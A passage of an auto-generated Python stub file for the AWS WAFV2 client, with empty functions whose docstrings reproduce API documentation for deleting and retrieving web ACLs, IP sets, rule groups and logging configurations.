OverrideAction setting or the rule Action setting, but not both:\n\nIf the rule statement references a rule group, use this override action setting and not the action setting.\nIf the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting.\n\n\nCount (dict) --Override the rule action setting to count.\n\nNone (dict) --Don\'t override the rule action setting.\n\n\n\nVisibilityConfig (dict) -- [REQUIRED]Defines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n\n\n\n\n :type VisibilityConfig: dict :param VisibilityConfig: [REQUIRED]\nDefines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n :type Tags: list :param Tags: An array of key:value pairs to associate with the resource.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA collection of key:value pairs associated with an AWS resource. The key:value pair can be anything you define. Typically, the tag key represents a category (such as 'environment') and the tag value represents a specific value within that category (such as 'test,' 'development,' or 'production'). You can add up to 50 tags to each AWS resource.\n\nKey (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag key to describe a category of information, such as 'customer.' Tag keys are case-sensitive.\n\nValue (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag value to describe a specific value within a category, such as 'companyA' or 'companyB.' Tag values are case-sensitive.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } Response Structure (dict) -- Summary (dict) -- High-level information about a WebACL , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage a WebACL , and the ARN, that you provide to operations like AssociateWebACL . Name (string) -- The name of the Web ACL. You cannot change the name of a Web ACL after you create it. Id (string) -- The unique identifier for the Web ACL. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the Web ACL that helps with identification. You cannot change the description of a Web ACL after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def delete_firewall_manager_rule_groups(WebACLArn=None, WebACLLockToken=None): """ Deletes all rule groups that are managed by AWS Firewall Manager for the specified web ACL. You can only use this if ManagedByFirewallManager is false in the specified WebACL . See also: AWS API Documentation Exceptions :example: response = client.delete_firewall_manager_rule_groups( WebACLArn='string', WebACLLockToken='string' ) :type WebACLArn: string :param WebACLArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the web ACL.\n :type WebACLLockToken: string :param WebACLLockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax { 'NextWebACLLockToken': 'string' } Response Structure (dict) -- NextWebACLLockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextWebACLLockToken': 'string' } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def delete_ip_set(Name=None, Scope=None, Id=None, LockToken=None): """ Deletes the specified IPSet . See also: AWS API Documentation Exceptions :example: response = client.delete_ip_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the IP set. You cannot change the name of an IPSet after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFAssociatedItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def delete_logging_configuration(ResourceArn=None): """ Deletes the LoggingConfiguration from the specified web ACL. See also: AWS API Documentation Exceptions :example: response = client.delete_logging_configuration( ResourceArn='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the web ACL from which you want to delete the LoggingConfiguration .\n :rtype: dict ReturnsResponse Syntax{} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def delete_permission_policy(ResourceArn=None): """ Permanently deletes an IAM policy from the specified rule group. You must be the owner of the rule group to perform this operation. See also: AWS API Documentation Exceptions :example: response = client.delete_permission_policy( ResourceArn='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the rule group from which you want to delete the policy.\nYou must be the owner of the rule group to perform this operation.\n :rtype: dict ReturnsResponse Syntax{} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException :return: {} :returns: WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException """ pass def delete_regex_pattern_set(Name=None, Scope=None, Id=None, LockToken=None): """ Deletes the specified RegexPatternSet . See also: AWS API Documentation Exceptions :example: response = client.delete_regex_pattern_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the set. You cannot change the name after you create the set.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFAssociatedItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def delete_rule_group(Name=None, Scope=None, Id=None, LockToken=None): """ Deletes the specified RuleGroup . See also: AWS API Documentation Exceptions :example: response = client.delete_rule_group( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the rule group. You cannot change the name of a rule group after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the rule group. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFAssociatedItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def delete_web_acl(Name=None, Scope=None, Id=None, LockToken=None): """ Deletes the specified WebACL . You can only use this if ManagedByFirewallManager is false in the specified WebACL . See also: AWS API Documentation Exceptions :example: response = client.delete_web_acl( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the Web ACL. You cannot change the name of a Web ACL after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nThe unique identifier for the Web ACL. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFAssociatedItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def describe_managed_rule_group(VendorName=None, Name=None, Scope=None): """ Provides high-level information for a managed rule group, including descriptions of the rules. See also: AWS API Documentation Exceptions :example: response = client.describe_managed_rule_group( VendorName='string', Name='string', Scope='CLOUDFRONT'|'REGIONAL' ) :type VendorName: string :param VendorName: [REQUIRED]\nThe name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group.\n :type Name: string :param Name: [REQUIRED]\nThe name of the managed rule group. You use this, along with the vendor name, to identify the rule group.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :rtype: dict ReturnsResponse Syntax { 'Capacity': 123, 'Rules': [ { 'Name': 'string', 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} } }, ] } Response Structure (dict) -- Capacity (integer) -- The web ACL capacity units (WCUs) required for this rule group. AWS WAF uses web ACL capacity units (WCU) to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. AWS WAF calculates capacity differently for each rule type, to reflect each rule\'s relative cost. Rule group capacity is fixed at creation, so users can plan their web ACL WCU usage when they use a rule group. The WCU limit for web ACLs is 1,500. Rules (list) -- (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . High-level information about a Rule , returned by operations like DescribeManagedRuleGroup . This provides information like the ID, that you can use to retrieve and manage a RuleGroup , and the ARN, that you provide to the RuleGroupReferenceStatement to use the rule group in a Rule . Name (string) -- The name of the rule. Action (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The action that AWS WAF should take on a web request when it matches a rule\'s statement. Settings at the web ACL level can override the rule action setting. Block (dict) -- Instructs AWS WAF to block the web request. Allow (dict) -- Instructs AWS WAF to allow the web request. Count (dict) -- Instructs AWS WAF to count the web request and allow it. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'Capacity': 123, 'Rules': [ { 'Name': 'string', 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} } }, ] } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def disassociate_web_acl(ResourceArn=None): """ Disassociates a Web ACL from a regional application resource. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage. For AWS CloudFront, don\'t use this call. Instead, use your CloudFront distribution configuration. To disassociate a Web ACL, provide an empty web ACL ID in the CloudFront call UpdateDistribution . For information, see UpdateDistribution . See also: AWS API Documentation Exceptions :example: response = client.disassociate_web_acl( ResourceArn='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource to disassociate from the web ACL.\nThe ARN must be in one of the following formats:\n\nFor an Application Load Balancer: ``arn:aws:elasticloadbalancing:region :account-id :loadbalancer/app/load-balancer-name /load-balancer-id ``\nFor an Amazon API Gateway stage: ``arn:aws:apigateway:region ::/restapis/api-id /stages/stage-name ``\n\n :rtype: dict ReturnsResponse Syntax{} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def generate_presigned_url(ClientMethod=None, Params=None, ExpiresIn=None, HttpMethod=None): """ Generate a presigned url given a client, its method, and arguments :type ClientMethod: string :param ClientMethod: The client method to presign for :type Params: dict :param Params: The parameters normally passed to\nClientMethod. :type ExpiresIn: int :param ExpiresIn: The number of seconds the presigned url is valid\nfor. By default it expires in an hour (3600 seconds) :type HttpMethod: string :param HttpMethod: The http method to use on the generated url. By\ndefault, the http method is whatever is used in the method\'s model. """ pass def get_ip_set(Name=None, Scope=None, Id=None): """ Retrieves the specified IPSet . See also: AWS API Documentation Exceptions :example: response = client.get_ip_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the IP set. You cannot change the name of an IPSet after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :rtype: dict ReturnsResponse Syntax { 'IPSet': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'Description': 'string', 'IPAddressVersion': 'IPV4'|'IPV6', 'Addresses': [ 'string', ] }, 'LockToken': 'string' } Response Structure (dict) -- IPSet (dict) -- Name (string) -- The name of the IP set. You cannot change the name of an IPSet after you create it. Id (string) -- A unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Description (string) -- A description of the IP set that helps with identification. You cannot change the description of an IP set after you create it. IPAddressVersion (string) -- Specify IPV4 or IPV6. Addresses (list) -- Contains an array of strings that specify one or more IP addresses or blocks of IP addresses in Classless Inter-Domain Routing (CIDR) notation. AWS WAF supports all address ranges for IP versions IPv4 and IPv6. Examples: To configure AWS WAF to allow, block, or count requests that originated from the IP address 192.0.2.44, specify 192.0.2.44/32 . To configure AWS WAF to allow, block, or count requests that originated from IP addresses from 192.0.2.0 to 192.0.2.255, specify 192.0.2.0/24 . To configure AWS WAF to allow, block, or count requests that originated from the IP address 1111:0000:0000:0000:0000:0000:0000:0111, specify 1111:0000:0000:0000:0000:0000:0000:0111/128 . To configure AWS WAF to allow, block, or count requests that originated from IP addresses 1111:0000:0000:0000:0000:0000:0000:0000 to 1111:0000:0000:0000:ffff:ffff:ffff:ffff, specify 1111:0000:0000:0000:0000:0000:0000:0000/64 . For more information about CIDR notation, see the Wikipedia entry Classless Inter-Domain Routing . (string) -- LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'IPSet': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'Description': 'string', 'IPAddressVersion': 'IPV4'|'IPV6', 'Addresses': [ 'string', ] }, 'LockToken': 'string' } :returns: To configure AWS WAF to allow, block, or count requests that originated from the IP address 192.0.2.44, specify 192.0.2.44/32 . To configure AWS WAF to allow, block, or count requests that originated from IP addresses from 192.0.2.0 to 192.0.2.255, specify 192.0.2.0/24 . To configure AWS WAF to allow, block, or count requests that originated from the IP address 1111:0000:0000:0000:0000:0000:0000:0111, specify 1111:0000:0000:0000:0000:0000:0000:0111/128 . To configure AWS WAF to allow, block, or count requests that originated from IP addresses 1111:0000:0000:0000:0000:0000:0000:0000 to 1111:0000:0000:0000:ffff:ffff:ffff:ffff, specify 1111:0000:0000:0000:0000:0000:0000:0000/64 . """ pass def get_logging_configuration(ResourceArn=None): """ Returns the LoggingConfiguration for the specified web ACL. See also: AWS API Documentation Exceptions :example: response = client.get_logging_configuration( ResourceArn='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the web ACL for which you want to get the LoggingConfiguration .\n :rtype: dict ReturnsResponse Syntax{ 'LoggingConfiguration': { 'ResourceArn': 'string', 'LogDestinationConfigs': [ 'string', ], 'RedactedFields': [ { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, ] } } Response Structure (dict) -- LoggingConfiguration (dict) --The LoggingConfiguration for the specified web ACL. ResourceArn (string) --The Amazon Resource Name (ARN) of the web ACL that you want to associate with LogDestinationConfigs . LogDestinationConfigs (list) --The Amazon Kinesis Data Firehose Amazon Resource Name (ARNs) that you want to associate with the web ACL. (string) -- RedactedFields (list) --The parts of the request that you want to keep out of the logs. For example, if you redact the cookie field, the cookie field in the firehose will be xxx . (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The part of a web request that you want AWS WAF to inspect. Include the single FieldToMatch type that you want to inspect, with additional specifications as needed, according to the type. You specify a single request component in FieldToMatch for each rule statement that requires it. To inspect more than one component of a web request, create a separate rule statement for each component. SingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) --The name of the query header to inspect. SingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) --The name of the query argument to inspect. AllQueryArguments (dict) --Inspect all query arguments. UriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'LoggingConfiguration': { 'ResourceArn': 'string', 'LogDestinationConfigs': [ 'string', ], 'RedactedFields': [ { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, ] } } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def get_paginator(operation_name=None): """ Create a paginator for an operation. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). :rtype: L{botocore.paginate.Paginator} ReturnsA paginator object. """ pass def get_permission_policy(ResourceArn=None): """ Returns the IAM policy that is attached to the specified rule group. You must be the owner of the rule group to perform this operation. See also: AWS API Documentation Exceptions :example: response = client.get_permission_policy( ResourceArn='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the rule group for which you want to get the policy.\n :rtype: dict ReturnsResponse Syntax{ 'Policy': 'string' } Response Structure (dict) -- Policy (string) --The IAM policy that is attached to the specified rule group. Exceptions WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException :return: { 'Policy': 'string' } """ pass def get_rate_based_statement_managed_keys(Scope=None, WebACLName=None, WebACLId=None, RuleName=None): """ Retrieves the keys that are currently blocked by a rate-based rule. The maximum number of managed keys that can be blocked for a single rate-based rule is 10,000. If more than 10,000 addresses exceed the rate limit, those with the highest rates are blocked. See also: AWS API Documentation Exceptions :example: response = client.get_rate_based_statement_managed_keys( Scope='CLOUDFRONT'|'REGIONAL', WebACLName='string', WebACLId='string', RuleName='string' ) :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type WebACLName: string :param WebACLName: [REQUIRED]\nThe name of the Web ACL. You cannot change the name of a Web ACL after you create it.\n :type WebACLId: string :param WebACLId: [REQUIRED]\nThe unique identifier for the Web ACL. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type RuleName: string :param RuleName: [REQUIRED]\nThe name of the rate-based rule to get the keys for.\n :rtype: dict ReturnsResponse Syntax { 'ManagedKeysIPV4': { 'IPAddressVersion': 'IPV4'|'IPV6', 'Addresses': [ 'string', ] }, 'ManagedKeysIPV6': { 'IPAddressVersion': 'IPV4'|'IPV6', 'Addresses': [ 'string', ] } } Response Structure (dict) -- ManagedKeysIPV4 (dict) -- The keys that are of Internet Protocol version 4 (IPv4). IPAddressVersion (string) -- Addresses (list) -- The IP addresses that are currently blocked. (string) -- ManagedKeysIPV6 (dict) -- The keys that are of Internet Protocol version 6 (IPv6). IPAddressVersion (string) -- Addresses (list) -- The IP addresses that are currently blocked. (string) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException 